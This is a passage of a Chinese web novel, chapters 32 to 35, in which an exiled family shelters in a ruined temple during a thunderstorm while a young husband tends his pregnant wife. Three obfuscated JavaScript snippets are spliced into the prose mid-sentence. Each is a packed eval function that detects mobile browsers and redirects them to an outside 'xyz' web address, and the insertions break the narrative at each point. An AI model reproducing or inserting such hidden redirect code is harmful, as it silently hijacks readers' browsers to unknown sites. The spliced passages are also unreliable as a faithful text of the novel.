常湄言生了三个孩子,和苏琯文二人照看不来。苏二婶将龙凤胎中的妹妹雯姐儿抱在身上,也哄着她睡了。 32. 第 32 章 孩子们很快睡过去,呼吸绵长而均匀。 大人们都没有睡,有一搭没一搭地说着话,声音放轻了些。 一行人正说着话,苏琯煜忽然想起什么,一手揽着孩子,空出的一只手从袖子中掏出一方锦囊。 隔了几个熟睡的孩子,他伸长手递给给苏琯璋,让他交给宣槿妤。 “这是你二姐去寺里求的平安符,”苏琯煜解释,“每个人都有一个。你打开锦囊看看,她听闻你有了身子,还找了寺中大师求了开光的佛坠。” 宣槿妤打开锦囊,果真见除了一枚小巧的平安符,还有一条玲珑的七宝佛坠。她摸了摸,触感温温润润的,很是宜人。 苏琯璋伸手接过来,“我替你戴上。” 宣槿妤侧过身,苏声、苏琯煜、苏琯文和苏琯武四个男人皆垂下眸子。 苏琯璋是第一次给人戴佛坠,但往日他替宣槿妤戴惯了手链、璎珞、玉佩等首饰,且这佛坠链子不难戴,他很快便戴好。 宣槿妤侧回身前,苏琯璋已经顺手将佛坠放入她里层衣裳中。小小的佛坠贴着一层中衣,不会直接贴着肌肤,也不会暴露于外。 他温热的大掌无意间拂过她的身前,宣槿妤瞪他,美眸里却没多少怒气。 苏琯璋眉眼温和,替她整理好衣裳,将她被风吹乱的发丝挽回耳后,才让她转过去。 “好了。”他说,提醒父亲和兄长们。 苏琯煜这才抬眼,继续开口,“你二姐本是打算亲自替你戴上的,但被我拦下了,不让她出佟城。” 他说着目光转向苏琯璋,“由五弟替你戴也是一样的。” 宣槿妤微微颔首,“二姐姐费心了,”隔了一层贴身小衣,她仍感受到坠在锁骨下方的佛子吊坠材质的温润,“改日我亲自谢她。” “也多谢大哥一路带着,你也费心了。”宣槿妤谢道。 开过光的佛坠珍贵,且含了二姐姐的一片心思,苏琯煜匆忙赶来的这一路中,定是还得费神留意着这条佛坠。 “弟妹客气了。”苏琯煜道。 太阳升至正中,有透过密密的枝叶漏下的阳光落在他们身上,金灿灿的,地上拖了长长一片暗影。 苏老夫人年纪大了,忍不住困意,苏二婶扶着她找了个地方,阖眼睡了。 不多时,宣槿妤也有些倦了。 苏琯璋将她带到背对着山风口的一棵五人合抱的大树后,先背靠着树干坐下,再让她坐在自己怀里,舒舒服服地靠着他歇息。 山风携带了些阳光的热意,但不燥,最是合适午歇的温度。 其余人也都昏昏欲睡,陈阳索性留了两个人守着,让大家都各自睡了。 宣槿妤是被窸窸窣窣的一阵声音吵醒的,眼中的困意还未散,迷迷糊糊地睁开了眼。 “还睡吗?”苏琯璋问她,他方才也眯了一会儿,现下正是精神的时候。 宣槿妤慵懒地摇了摇头,想要起身。 苏琯璋将她困在怀里,没让她动。 “先等一会儿。”她一看就是还未完全清醒的模样,苏琯璋不敢让她就这么起来。 他替她细细地整理好衣裳、头发,再从随身的水囊中倒出清水打湿手帕,替宣槿妤擦了脸和手。 如此宣槿妤身上的那股倦意才彻底被驱散,眼中也恢复了清明。 “要出发了吗?”因着才醒,宣槿妤清甜的嗓音里带了一丝哑意。 苏琯璋将水囊放在她唇边,让她喝了两口。 “日头还有些烈,”他将剩下的水喝完,“今晚当是住不上驿站了。若我们像第一日那样,找个废庙住下,你可愿意?” 宣槿妤:“……” 默了一会儿,她忍不住问:“我若不愿意,你又如何?” 她纯粹是好奇,没有故意为难人的意思。 只这男人都说了今晚住不上驿站了,还来问她意见。 “莫非你苏小公子神通广大,能凭空变出间栖身的房子来不成?”她不待苏琯璋回答,继续问道。 苏琯璋哑然失笑,将她抱到地上,扶她站好;自己才扶着粗壮的树干慢慢起身,活动着方才一动不动、已经彻底麻掉的双腿。 他努力忽视着双腿的酸麻,“槿妤,我没有那么大的能耐。” 宣槿妤看到了他起身时险些站不稳的模样,知道自己睡着后这男人定是没有动过,心里又酸又甜,还有点软。 现在听这男人说他没有那么大的能耐,她心里更是软到不可思议。 她本就是个温软的大美人,如今眉眼中的那股娇矜之气散去,更添了几分楚楚的气息。 苏琯璋看得意动,不由伸手将她揽入怀中。 他自己都还没站稳呢!可别连累她摔了,宣槿妤想要挣扎。 “槿妤别动。”苏琯璋及时出声,“我腿还没恢复,莫摔了你。” 宣槿妤抬眼嗔他:“那你还不放手?” 她腰肢被这男人紧紧箍着,动弹不得,她又不敢大力挣扎,生怕他真将自己摔了。 “不放。”苏琯璋低头在她耳边轻笑。 酥酥麻麻的气息像是从他腿上传到她心上、再到腿上,宣槿妤也险些站不稳,只下意识伸手攥住他的衣襟。 “你别将我摔了。”她忍不住低喝了句,声音发颤。 她肚子里还有孩子呢,可不能胡来! 苏琯璋见她真害怕,忙收紧手中的力道,“别怕,就算真摔了,我也会垫在你身下。”他背后牢牢靠着树干呢!不会真摔了的。 “你还说。”一口一个“摔”的,宣槿妤忍不住拧了他一下。 苏琯璋哄她,“好好好,我不说了,我们继续说正事。” 宣槿妤这才松了手。 都是让他闹的,险些忘了方才正说着的正事。 “槿妤,我是没有通天的本事。”苏琯璋说。 “不过,若你不愿意住废庙,我可以去劝陈副尉走正常的官道。” 宣槿妤眼中的嗔意散去,她抬眼看他。 “出了这座山林,周遭当还是有村民在住的,我们可以去借宿。” 他看过舆图,往东南方向走出二里地,有个不大不小的村落,约莫有百余户人家。便是一户仅能借住一个人,也当是足够收容他们这群人了。 只他还有顾虑,怕分散的风险。 要进村落么? 宣槿妤下意识就有些抵触。 她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762909|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不上来为什么抵触。但她身上当是有些机缘的,每当这种时候的直觉,最是能够教她趋利避害。 “废庙又不是没住过,我们继续住废庙好了。”她说。 不愿意? 苏琯璋双腿已经恢复如常,仍旧揽着她不放,低头和她四目相对。 “进村多麻烦,”宣槿妤慢吞吞地边说着,边想着借口,“你不是说暗处还有眼睛?别给村子带去麻烦。” 她还有没说出口的借口。 他们这么一大群人,进了人家的村子,阵仗跟皇帝微服出巡借住府衙后宅也差不多了。 她嫌麻烦,也不想引起关注。 他们这一路遭到的关注已经够多了。 只这样的借口,她不好意思说出口,好似她有多自恋似的。 “而且,”宣槿妤拉过他的手,放在自己小腹上,“借住人家的屋子,我们一家人就要分开了,你放得下心么?” 一击即中。 苏琯璋瞬间收拢她的手,紧紧握在掌中。 不放心。 他不放心。 “好,我们找个废庙借住一晚。”他很快做了决定。 山林之中最是不缺废庙破宇,这个还真不难找。 于是这日晚间,他们果真在一处废庙住了一宿。 第四日天还未亮之时,熟睡中的宣槿妤被一道炸雷惊醒。 那道炸雷似是劈在她耳边,又像是劈在他们头顶的屋檐上,炸得她耳朵嗡嗡作响,心跳如擂鼓。 她本能地缩着身子,躲进揽着她的苏琯璋怀里。 苏琯璋也瞬间清醒过来,忙将她侧身抱在怀中,让她一边耳朵贴着自己的胸膛,一手捂住她另一侧的耳朵。空出的手不住地摩挲着她的背部。 “别怕,是下雨了。”他贴着她的额头,低声说道。 他已经看到了门外雨如断了线的珠子,串串砸落,溅起高高的水花。 宣槿妤眼中还残余着被惊雷炸醒的惊惶,耳朵被他牢牢捂着,听不见他在说什么,但感受到了他胸膛的震动。 她在他轻柔却有力的安抚中慢慢平静下来。 雷声依旧轰轰,宣槿妤将苏琯璋的手拉了下来,慢慢转过身,面朝废庙的大门。 天依旧是黑的,但已经染上了一点鸭壳青,已经足够视物了。且天边还不时有闪电窜过云层,有时会将屋外照得雪亮,有如白昼。 她听到了孩子们的哭声,和三个嫂嫂的安抚声。 守夜的陈阳和另一名官兵说了句什么,朝他们走过来。 这个废庙不如废弃的皇觉寺大殿大,只勉强容纳了他们所有人。是以,今夜他们没有围帘子,一众人也睡得拘束却也安心。 宣槿妤是枕在苏琯璋手臂上睡的,她被吓醒时苏琯璋很快将她揽入怀中,他这一半的被子也顺势被他们压在身下。 见陈阳要走过来,宣槿妤有些急,想要起身。 她可不想这样子睡在地上,被一个外男看到。先前她睡着了可以不管,但她现在已经清醒了,不能再这样衣裳凌乱地见人。 苏琯璋快速用被子将她包好,坐了起来,让她背对着旁人。被子拉上去,挡住了她有些凌乱的发丝。 33. 第 33 章 待一切准备好,陈阳已经走到了他们面前。 “四月初一动了流,四十五天雨不休(注1)。” 陈阳蹲了下来,很有分寸地不去看苏琯璋怀里拱起的一团,目光只停留在苏琯璋面上。 “不知公子可听过民间流传的这句话?” 苏琯璋点了点头,“今日正是四月初一。” 虽然现在打雷下雨,乌云阴沉,他没有办法知道真正的时辰;但还是能从隐约露出的天色中判断出,现在大致是在寅时,已经是新的一天了。 “是呀!” 陈阳发愁,“今日怕是不能上路了,接下来雨水也多,我们这一群人可要怎么走才是?” 若只有他们一群大男人,怎么走不是走?淋雨便淋雨了,都是练家子,顶多得一场风寒,不会死人便是。 可苏家这群人,不说三位习武的年轻女眷,就说其他人。 年纪最大的苏老夫人年过花甲,七个孩子中没有一个是过了容易夭折的年纪的,还有一个娇滴滴却身怀六甲的。 一不小心染上风寒,可能都要出事的。 而这庙里,除了苏家自己的人,他比谁都怕他们出事。 雨越发大了,打在屋檐上,劈啪作响,让人十分怀疑这废庙能不能撑得过这场雨。 王虎的声音不时在废庙各处响起,他在带人检查房顶有没有漏雨。 “等雨停了再说。” 苏琯璋怀中的宣槿妤忍不住打了个哈欠,身子往他怀里贴近几分。他目光放柔,很快改口,“先继续睡吧,天亮之后我们再商议。” 陈阳识趣地离开了。 他守了一夜,也困了,便和来跟他换班的王虎说一声,寻了个空地,也不在意灰尘什么的,倒头就睡。 “睡吧,我守着你。”见陈阳离开,苏琯璋低头对宣槿妤说道。 他也没将人放下,只保持着坐立的姿势。只稍稍侧了身,让她头靠在自己肩膀上,好睡得更舒服些。 宣槿妤听到隔壁好像是慕哥儿的哭声,强撑着不让自己睡过去,“是慕哥儿在哭?” 她便是连声音里都带着浓浓的睡意。 “嗯。”苏琯璋应了一声,学着此时他四哥哄慕哥儿的模样,轻轻拍着她的背,“四哥在哄他了,你睡罢!” 宣槿妤还想说些什么,但实在抵挡不住来势汹汹的睡意。她歪了歪头,很快睡了过去,手里还揪着他的衣襟。 苏琯璋低头在她额头上落下一个轻吻。 见宣槿妤没有被扰到,便将她的手从衣襟上轻轻拉开,握在掌中,细细地切了一会儿脉。 脉象平稳,方才的惊吓对她和孩子都没什么影响。 苏琯璋放下心来,又在她额上亲了亲。 不放心小儿媳而走过来的许玉娘脚步一顿,意外地看着自己这个自小喜怒不形于色的小儿子。 他竟也有这样柔情的一面? 苏琯璋抬起头,平静地和自己的母亲对视,神情十分坦荡。 于是许玉娘还是走了过来,蹲下来去看宣槿妤。见人正睡得好好的,心里松了许多,小声问:“槿妤没事吧?” 方才那股惊雷,就连睡梦中的她也被吓醒了,现在还心有余悸。 “没事,”苏琯璋轻声回道,“母亲可还好?” 许玉娘笑了笑,“无碍。” 见苏琯璋还要再问,她补充道:“你祖母也没事。” 苏琯璋颔首。 “我回去继续睡了,你也抓紧时间再睡会儿。” 许玉娘想拍拍儿子的肩膀,但发现无处下手——小儿媳正靠着他,被子卷成了一团。 于是她又将手收回去,站起身来。 “许是还会有惊雷。”苏琯璋说,“但这里不会漏雨,母亲且安心睡便是。” 许玉娘明白他的意思,“知道了,我会留意你祖母的。” 老人、小孩和孕妇这三种人最是受不得惊吓,尤其这种睡梦中被雷声炸醒的时候,最是要留意。 刚好他们一家正正集齐了这三种受不得惊的人。 许玉娘回身时又和长子长媳、侄子侄媳妇们说了声,让他们留意好孩子们,便回到自己的睡铺前。 苏声一直看着她,看她和小儿子说完话,又去找孩子们。 “说什么了?”见人回来,苏声拉开被子,方便许玉娘躺下。 苏琯煜、苏琯文和苏琯武追上了队伍,夜里便改了原来的分床方式。 除了苏琯璋和宣槿妤小夫妻俩一床不变,苏老夫人和苏二婶同了一席,余下三队夫妻各自带着自己的孩子们同睡一床。 许玉娘自然而然地就和苏声睡了一处。 “璋小子说天亮前还会有惊雷,让我们注意些。”许玉娘回道。 她躺下前,和隔壁的苏老夫人、苏二婶都说了一声。 “我会留意的。”苏二婶回道。 许玉娘将手伸出被子,握住婆母的手,“娘,您睡吧!别怕!” 苏老夫人上了年岁,被雷惊醒后其实已经没什么睡意。但长媳和次媳都睡在她旁边,劝她继续睡,她便温和地笑笑,闭上了眼睛。 轰鸣不断的闷雷声中,她竟当真睡了过去。 将将天亮的时候,果真又有了一次炸雷,不少人从梦中惊叫着跳起来。 雨越发大了,像是有什么东西捅破了天,叫那水源源不断地从天幕上倾泻而下。 睡在门口的几人被水溅了一身,忙收拾铺盖转移到里头去了。 不过这时也睡不成了。 风声呼呼的,雨声密集,混合着电闪雷鸣,叫人见了就心生惧意。 苏老夫人捂着狂跳的胸口,被许玉娘和苏二婶一人一侧,一个抹背、一个揉胸口,足有一盏茶时间才缓过来。 “没事了。”她温和地说着,声音里还带着残余的一丝惊颤,“你们歇歇吧!” 替她揉了这么久,手怕是要酸了。 许玉娘和苏二婶这才收回了手。 “娘还要继续睡吗?”苏声也起了身,蹲在老母亲身前,关切地问。 “不睡了。” 苏老夫人说着,往外看了一眼天色,密集的雨帘倒是不影响她的判断,“都卯时了,往常我也是睡到这个时辰。” 她慢慢站起来,苏二婶忙跟着起身,被她阻止了,“你们都继续睡,我去看看孩子们,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762910|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们该吓坏了。” 苏二婶和许玉娘对视一眼,异口同声,“我也不睡了。” 苏声也站了起来,扶住母亲的手臂,“我也睡不着了。” 他苦笑,“若睡梦中再来一次惊雷,儿子也遭不住。” 这种像是在耳边炸响的惊雷,能直往人心里钻,光那声响就让人遭不住。 苏老夫人知道往常这个时候长子也起身练武了,便点点头,任由他扶着自己去看孩子们。 孩子们全都醒着,个个心有余悸。年纪还小的三个小姑娘全都缩在自家娘亲怀里,满眼的依赖。 慕哥儿这回没有哭了,他瘪着嘴,小脸鼓鼓的,正和父亲苏琯武抱怨雷公公扰他好眠。 倒是苏玉桓,这回被吓得不轻,眼泪汪汪的,像是随时能哭出来。但他却生生憋住了,因为双生妹妹苏玉雯正好奇地盯着他。 四位长辈走过来的时候,大伙儿都看了过来。 三对小夫妻身上都挂着孩子,不方便起身,便只叫了人。 苏琯煜/许萱娘:“祖母、爹、娘、二婶。” 苏琯文/常湄言、苏琯武/丁茜茜:“祖母、伯父、伯母、娘。” 孩子们也都乖乖叫了人。 苏玉慕脸不鼓了,苏玉桓擦了擦眼角的泪,皆委屈巴巴地和曾祖母告状。 苏老夫人坐在垫子上,一手揽着一个孩子,很是熟练地开始哄人。 “哦哟,这雷公公这么坏啊?吓到我们慕哥儿了。” 慕哥儿使劲儿点头,雷公公可太坏了。 “我们桓哥儿这么棒啊?都没哭呢!” 桓哥儿抿着唇,破涕为笑。 不多时,孩子们叽叽喳喳的声音便绕着曾祖母响了起来。 见家人各自安好,苏琯璋收回视线,双手仍捂着还在熟睡的宣槿妤双耳上。 方才惊雷响起的那一瞬间,他几乎是同时便将手捂在了她耳朵上。 宣槿妤只“唔”了声,像是被惊雷吓到了。但那股让人惧怕的声音很快消失,她便换了个姿势,安然地继续睡着。 苏琯璋松了口气。 他低了头,下巴轻轻抵着宣槿妤头上的被子,温柔地蹭了蹭。 宣槿妤在一片安静中醒来,身上是好眠后的慵懒舒畅。 她睁着眼睛,入目是苏琯璋熟悉的线条流畅而凌厉的侧脸。 “什么时辰了?” 她这时才留意到苏琯璋捂着她耳朵的手,温暖而干燥,这是护她不被雷声所扰好眠的源头。 宣槿妤看着他,微微出神。 “醒了?”苏琯璋见她睁着眼,便松开了捂着她双耳的手,“还不到辰时。” 她竟睡到了现在? 其余人是不是都已经醒了? 宣槿妤脸色微红,不敢转头去看周遭的人,但她已经听到了不远处被压着的低语声。 “你有孕在身,嗜睡是正常的。”苏琯璋看出她的想法,安慰道。“且这个时辰也不算晚。” 若非被流放,她们女眷们也多是在这个时辰才起身。 宣槿妤抿着唇,快速地整理好自己的衣裳,随手挽了个单髻,让苏琯璋给她检查。 34. 第 34 章 “我给你挡着,你站起来我看看。” 确认宣槿妤面上无任何不妥后,苏琯璋往上举着手,展开被子,替二人围出一个安全的简易帐子来。 他们这里是一处角落,只有一条路通到这里来,也只有那一处旁人可以看到他们。 宣槿妤站了起来,借着被子的遮挡,忍不住伸展了慵懒的身子。 苏琯璋也慢慢站了起来。 宣槿妤这两个时辰只是靠在他怀里安稳睡着,并没坐在他腿上;是以他这会儿双腿除了有点僵,还算灵活。 帐子拉高了,宣槿妤抬头看比她高了一个头还多的苏琯璋。 “我能出去见人了吗?”她小声问。 苏琯璋才被她刚起床时的娇媚吸引,正想对她做点什么,闻言动作一顿。 “你随时可以出去见人,槿妤。”他被她话中的忐忑触动,摸了摸她的脸,“没有那么多讲究的。”他温声道。 宣槿妤眼中的不安顿时散去,那股让苏琯璋十分熟悉的娇俏又回到了她眼角眉梢。 分明没有光照过来,他却觉得她似是站在煦日之下。 苏琯璋忍不住低头吻她,热烈而缱绻,夺走她的呼吸,也卷走了她的心神。 宣槿妤被他吻得呼吸都开始急促起来,下意识抱住他精瘦却有力的腰腹,到最后也忍不住回应起他来。 一吻毕,她才慢慢回过神来,“还没洗漱呢!”她捂着红艳艳的唇,嘟哝着。 苏琯璋看着她,唇边弧度微扬,提醒她,“在家里,我们也常……唔。”这样。话消失在他嘴边。 宣槿妤踮起脚尖,捂住他的唇,不让他说完。 她脸上已经红了一片,“不许再说了。”她凶巴巴地说。 像一只小奶猫儿,自以为凶巴巴的,实际爪子都还不锋利,只引得人心里越发怜惜。 他亲了亲她的手心,“好,我不说了。” 宣槿妤像是被烫到了般,忙将手缩回去。 这男人有点不对劲,一大早的就像只夺人心魄的公狐狸,勾得她神魂颠倒。 不能再和他单独待在这里了。 “好啦,快给我检查。” 这被子撑开有好一会儿了,待会儿旁人都要以为他们在做什么见不得人的事儿了。 “裙子有点皱……嗯,现在好了。” 裙子是伸展的面料,宣槿妤只抖了一下便恢复了柔顺。 旁边的地上放着水囊,里头是睡下前苏琯璋才灌的滚水,放了一夜,现在还有些温热。 宣槿妤简单漱了口,再把帕子打湿擦了脸和手,然后犹豫着看苏琯璋。 他太高了。 若是让他弯下腰……她想起了方才那个极尽缠绵的吻,心里颤了颤。 “我自己来就好。”苏琯璋放下了被子,接过她伸过来的水囊,快速洗漱完毕。 他们那个角落撑起被子时,也没多少人往那里看上一眼。 偶有眼神不自觉飘过去的,也会被同僚狠狠踩上一脚,低斥:“看什么呢?你这双招子不要了?” 再是落魄,人家也是世家大族养出来的姑娘,家里宠得跟什么似的。 假使侥幸不被京中知道,光苏家这些人,即便他们是戴罪之身,他们怕也是得罪不起。 宣槿妤和苏琯璋很快从角落里并肩走出来,他们身后的铺盖已经被收起,妥善地放在角落里。 苏琯璋紧扣着宣槿妤的手心,似是随意地往方才低斥声响起的方向扫了一眼,目光冰冷。 他们二人走过去时,被他目光扫过的人,身上的衣衫都被汗浸透了。 因着雨一直不停,一行人只简单地吃了点干粮,权当早饭了。 干粮是些粗饼子,又干又不好吃,噎得一群男人水灌了一口又一口。 倒是女眷和孩子们,吃的和大家伙不一样。他们面前都是一碗才出锅的热气腾腾的鸡蛋羹,上边撒了些红糖碎,吃起来甜滋滋的。 鸡蛋是昨夜苏琯璋去林子里打猎时在野鸡窝里掏的,今日就用上了。 饭后,陈阳、王虎走过来和苏家男人们议事。 李晓明昨日午时用过饭就带着他的人走了,如今仍是兵部副尉陈阳和禁军千户王虎在带队。 七个人围坐一处,要说的是四月多雨要怎么上路的事。 陈阳率先开口,“我们只有三辆空马车,若遇到雨,就让女眷们和几个孩子上马车躲避。” 苏琯璋看过那几辆马车,也是坐着其中一辆出的城门,他道了声“不妥”。 众人齐齐看他。 苏琯璋解释,“那几辆马车用料一般。若是遇到大雨,恐不止马车顶部会漏雨,车身也不安稳,怕是会开裂。” 他说的用料一般还是委婉了些,真要说的话,那几辆马车明显是偷工减料做成的。 这几日是没遇着雨,马车里也没人,空车才显得安稳些。不然即便是小雨,他也不敢让家人坐上去。 昨日他打猎回来经过那几辆车,发现装了行李的那辆马车车窗都有了一点裂缝。 听苏琯璋说起他的发现,陈阳想起昨夜手下和他汇报过的事情。他当时还亲自去确认过了,不禁点头。 苏琯璋神情自若,其余人面色各异。 苏声、苏琯煜、苏琯文和苏琯武这四个苏家人还好,面上只微微惊诧了一瞬很快就收敛了神色。 王虎却没有这样快速掩饰情绪的能力,下意识去看陈阳。 马车是兵部送过来的,为此来送行的几家人赶来的马车都被原样送了回去。 兵部不是站苏家一头的?怎还送这样劣质的马车来? 陈阳被他看得尴尬,掩饰地笑了笑,“我们大人当时是随意找了几辆空马车,我们这些粗人也看不出马车有问题。” 他并没有为岳丰和自己开脱的意思,只他们兵部这些武夫,心思确实不够细腻。 “宣家三哥有准备马车。” 苏声想起在刑部死牢时,亲家公宣兆和他们说过的话。 亲家母林清婉在十里亭的时候也和宣槿妤提了一嘴,他当时离得不远,也听进了心里。 苏琯璋点头,“是,但岳母和三哥约定的是在余安府会合。按我们现在的脚程,还得走上十来日。” 尤其今日雨势这样大,还至少得再耽搁一天。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762911|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 若他们当时是从盛京城城西出发,乘坐马车前往余安府,也不过只需一日的时间。 林清婉这安排本是十分稳妥的,宣文晟和他们两头都不必着急赶路。 但兵部和皇帝没有经过商议,却联手打乱了他们的布局。 这回王虎跟着陈阳一起尴尬地笑——他们都理亏。 理亏的人会下意识做出弥补或讨好的举措来。 陈阳主动提议,“我们要不绕道,进村镇买些防雨的油布盖在马车上?” 路线本是他们兵部定的,他来当第一个开口改的人,也是迫于无奈了。 王虎摸了摸鼻子,也给出了提议,“不如将马车送去木匠家直接修补?” “周遭小镇能修补得了吗?”陈阳反问他。 “马车本就是劣质的,再不修补,再在路上滚过几个泥坑就都该散架了。”王虎不服气陈阳的反驳,梗着脖子道。 这就吵起来了? 苏琯煜、苏琯文和苏琯武三人才和这两个人相处过这么会儿时间,并不了解他们的脾性。 方才他们也一句话还没说。此时看着两个人互相瞪着彼此,不由得面面相觑。 再说下去不打起来也要伤和气了。 苏琯璋及时打断陈阳和王虎之间互相的言语攻击,“等天晴了我们去最近的小镇看看,油布要买,马车也要加固。” 防雨是紧要的,但确保马车不散架要更要紧。 短暂的议事闹得不欢而散。 领队的两名队长闹得不愉快,惹得他们的属下也跟着互相看不顺眼。 雨花四溅,也冲不散废庙里头紧绷的气息。 直到不知是谁“哈哈哈”率先笑了起来,然后两伙大男人才互相对视一眼,跟着也绷不住笑开,才将这股莫名其妙互相看不顺眼的劲头搅散。 气氛终于恢复了往日的平和。 “他们都在笑,好搞笑哦!”慕哥儿小声对亲姐姐燕姐儿说道。 燕姐儿认同弟弟的话,“大人有时候就是这么奇奇怪怪的。”她说。 宣槿妤正坐在姐弟俩旁边,将这话听了个正着。 她被逗乐了,先是揉了揉燕姐儿的小脑袋,再去捏一捏慕哥儿鼓鼓的脸颊。 “说得真对。”她夸赞道。 孩子们方才自顾自地玩着,才没心神去理会大人们之间的弯弯绕绕,现在听到满堂的笑声,才会觉得莫名其妙。 但她听了全程,知道是陈阳和王虎之间闹起了不愉快,才惹得这废庙里的人也跟着互相看不顺眼。 她都以为要打起来了。 苏琯璋听着她的分析,失笑,“怎么会打起来。” “怎么不会打起来?”宣槿妤小声嘟囔,“我看他们两队之间肯定是有矛盾在的。” 这几日她多是待在苏琯璋背上,清闲得很,便观察这两队人,发现他们彼此之间很少说话。 都是陈阳和王虎这两个老大在交流正事,旁人基本就是互不相识的状态。 就连陈阳和王虎之间,意见不合的时候也多是好脾气的陈阳在退让。不过陈阳精明,也没让王虎讨得多大的好处。 35. 第 35 章 苏琯璋惊讶地对她说:“你竟还会留意这个?” 宣槿妤抬手就掐了他一把。 苏琯璋面不改色,很是顺手地将她的手握在掌心——这些时日他已经被她掐习惯了。 闺阁之中的宣槿妤少有和人吵架的时候,她身世摆在那儿,在家又得宠,鲜少会有不长眼色招惹她的人。 只在嫁给他之后,常被他木讷不懂风情的性子气到,才慢慢学会了骂人。对,她骂人的时候基本都是在骂他。 被流放之后,因着周遭几乎是时时有人围着,宣槿妤倒是骂他骂得少了。 但她无师自通,学会了动手。 想到这里,苏琯璋摸了摸鼻子,有些心虚。 好好的娇娇小姐被他养得,如今一不高兴都会动手打人了。 武安侯府那次宴席上掀桌就是一个讯号。 宣槿妤如今不仅会咬人,掐人的力度技巧更是娴熟——往往会让人很疼,但因力度掌握得刚好,又不会留下青紫的印记。 这都是吸取了刚开始咬他时咬出血、掐他掐到他身上淤青一片的经验之后,她慢慢琢磨着改过来的。 宣槿妤动手动得理直气壮、毫不犹豫,苏琯璋被咬被掐还挺自得,只每每苦恼自己为何又惹她不高兴了。 每每冷不丁地被她咬上一口、掐上一记,他都疼过了通常还不知道她为何不高兴。 只这次他明白了,他好像是有点嘴欠,不该质疑她。 苏琯璋自觉认错,“是我小瞧你了,对不住。” 宣槿妤得意地翘起唇角,被他抓着五指和他紧扣,也不在意。“你就说:你没看错,真聪明,不愧是你。” 苏琯璋:“……”他倒也说不出这样夸赞她的跳脱话来。 被她亮晶晶的眼神看着,苏琯璋险些遭不住。 他轻咳一声,“武夫也不都个个是暴脾气,何况如今他们还有差事在身。” 宣槿妤皱着眉看他,让他夸她,他在说什么? “我平日里看兵部辖下的营卫队和皇城的禁军卫队,发现这两支队伍确实是有点不对付。” 宣槿妤松开了眉头,她的观察结果被他肯定了。 没有听到她喜欢听的话,宣槿妤也没有不高兴。 她已经习惯了这男人的呆板,真听到他照自己的话夸自己,她还会质疑他是不是被人夺舍了。 只要他认同她的结论就好,反正她就这么聪明!日后外祖父再说自己是个笨丫头,她也有事例来反驳他老人家了。 宣槿妤正美滋滋地想着和三哥哥会合后,怎么给外祖父寄信,忽而又听这男人说,“但你看这一路他们相处得都还可以。” 一队人走前头,一队人走后头,路上基本就没交流过。 这叫“相处得还可以?” 宣槿妤斜睨他,满眼都是“你在撒谎”“我看你继续编”。 苏琯璋这会儿竟看懂了她的眼神,于是也说不下去了。 他将她抱到怀里,“闷不闷?昨晚被吵醒过,你要不要再睡一会儿?” 大白日的,庙里都是外男,连个清静的地方都没有。且她又不困,谁要在这个时候睡觉? “我是挺闷的,被你这个木头桩子闷到了。”宣槿妤推开他,站起身来。 怎么又说他是木头桩子? 苏琯璋跟着站起来,不解地看她。 “和你说话怪没意思的,我去找祖母她们。” 祖母、母亲和二婶说话就有意思多了,还不会像嫂嫂们那样轻易就拿她打趣。 不过,若是嫂嫂们有空,和她们说笑玩闹一番也挺有趣致的。她可以以一敌三呢! 再有孩子们,还会给她这个小婶婶表演自己排的各种好玩的游戏曲目,逗她开心。 宣槿妤一一数着,数着数着越发觉得苏琯璋讨人嫌。 谁都比苏琯璋这块木头好得多,他连聊个天都不会。 不仅将她的好心情搅和没了,还在他不知道该怎么说话的时候就让她睡觉。 他倒是会省事儿,哄个人都不会。 前两日不是还开窍了?这么快就被打回原形了,她倒宁愿他来逗弄她呢! 宣槿妤越想越气不过,抓起他的手掀开衣袖,照着手腕就是狠狠一口,“你若是想睡,你就自己睡。” 咬完她就松口,满意地看着破皮但没出血的牙印。嗯,她的咬人技术也进步了,她也解气了。 苏琯璋随着宣槿妤的目光看向手腕上小巧的两排牙印,再想着她的话,终于知道她为什么生气了。 “槿妤,你若不想睡,就不睡。”他干巴巴地说着,“我陪你过去和祖母说说话。” 宣槿妤伸手又掐他一记,“闭嘴,别总睡啊睡的,生怕别人听不到?” 苏琯璋闭嘴了。 于是宣槿妤松了手。 她朝苏琯璋露出个嫌弃的笑,“别跟过来,你一来,大家说话都不能尽兴了。” 苏琯璋只好站在原地,目送她穿过两条小道,脚步轻快地去找祖母她们。 她一过去,祖母便欢欢喜喜地拉住她的手。母亲和二婶也都关切地看着她,唇边都漾着笑意。 苏琯璋盯着宣槿妤眉眼间的欢悦,无意识地摩挲着手腕上的咬痕,若有所思。祖母她们确实能让她开心起来。 这一日他们终究没能离开这废庙。 